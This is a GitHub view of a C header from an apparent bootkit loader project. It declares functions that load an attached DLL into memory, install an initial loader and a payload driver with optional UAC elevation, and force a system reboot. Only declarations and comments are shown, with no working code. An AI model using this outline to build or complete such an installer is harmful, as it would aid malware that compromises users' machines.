-
Notifications
You must be signed in to change notification settings - Fork 53
/
Copy pathbkinst.h
33 lines (27 loc) · 919 Bytes
/
bkinst.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// BK driver loader project. Version 2.9
//
// module: bkinst.h
// $Revision: 424 $
// $Date: 2014-11-28 17:59:11 +0300 (Пт, 28 ноя 2014) $
// description:
// BK installation library
extern ULONG g_CurrentProcessId;
extern HMODULE g_CurrentModule;
//
// Creates a section and loads the specified attached DLL into it.
// Initializes DLL image and executes it's DllMain.
//
WINERROR BkLoadSupportDll(
ULONG NameHash // Attached DLL name hash
);
//
// Installs the BK initial loader and a payload driver depending on current architecture.
//
WINERROR BkSetup(
BOOL bWaitUac // specify TRUE to enable UAC elevation before the setup.
);
//
// Enables SeShutdownPrivilege for the current process and attempts to reboot the system.
//
VOID BkReboot(VOID);